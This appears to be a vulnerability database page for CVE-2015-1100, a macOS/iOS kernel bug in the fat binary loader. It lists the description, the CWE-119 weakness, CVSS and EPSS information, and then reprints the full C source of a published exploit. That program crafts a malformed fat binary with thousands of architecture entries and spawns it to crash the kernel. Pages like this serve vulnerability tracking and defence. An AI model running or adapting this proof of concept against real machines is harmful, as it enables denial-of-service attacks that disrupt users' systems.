CVE-2015-1100 Detail

CVE-2015-1100

CVE Descriptions

The kernel in Apple iOS before 8.3, Apple OS X before 10.10.3, and Apple TV before 7.2 allows attackers to cause a denial of service (out-of-bounds memory access) or obtain sensitive memory-content information via a crafted app.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	5.4		AV:L/AC:M/Au:N/C:P/I:N/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 36814

Publication date : 2015-04-20 22h00 +00:00
Author : Maxime Villard
EDB Verified : No

/* * 2015, Maxime Villard, CVE-2015-1100 * Local DoS caused by a missing limit check in the fat loader of the Mac OS X * Kernel. * * $ gcc -o Mac-OS-X_Fat-DoS Mac-OS-X_Fat-DoS.c * $ ./Mac-OS-X_Fat-DoS BINARY-NAME * * Obtained from: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.c * Analysis: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.txt */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <spawn.h> #include <unistd.h> #include <err.h> #include <mach-o/fat.h> #include <sys/stat.h> #define MAXNUM (4096) #define MAXNUM0 (OSSwapBigToHostInt32(MAXNUM)) void CraftBinary(char *name) { struct fat_header fat_header; struct fat_arch *arches; size_t i; int fd; memset(&fat_header, 0, sizeof(fat_header)); fat_header.magic = FAT_MAGIC; fat_header.nfat_arch = 4096; if ((arches = calloc(MAXNUM0, sizeof(struct fat_arch))) == NULL) err(-1, "calloc"); for (i = 0; i < MAXNUM0; i++) arches[i].cputype = CPU_TYPE_I386; if ((fd = open(name, O_CREAT|O_RDWR)) == -1) err(-1, "open"); if (write(fd, &fat_header, sizeof(fat_header)) == -1) err(-1, "write"); if (write(fd, arches, sizeof(struct fat_arch) * MAXNUM0) == -1) err(-1, "write"); if (fchmod(fd, S_IXUSR) == -1) err(-1, "fchmod"); close(fd); free(arches); } void SpawnBinary(char *name) { cpu_type_t cpus[] = { CPU_TYPE_HPPA, 0 }; char *argv[] = { "Crazy Horse", NULL }; char *envp[] = { NULL }; posix_spawnattr_t attr; size_t set = 0; int ret; if (posix_spawnattr_init(&attr) == -1) err(-1, "posix_spawnattr_init"); if (posix_spawnattr_setbinpref_np(&attr, 2, cpus, &set) == -1) err(-1, "posix_spawnattr_setbinpref_np"); fprintf(stderr, "----------- Goodbye! -----------\n"); ret = posix_spawn(NULL, name, NULL, &attr, argv, envp); fprintf(stderr, "Hum, still alive. You are lucky today! ret = %d\n", ret); } int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s BINARY-NAME\n", argv[0]); } else { CraftBinary(argv[1]); SpawnBinary(argv[1]); } }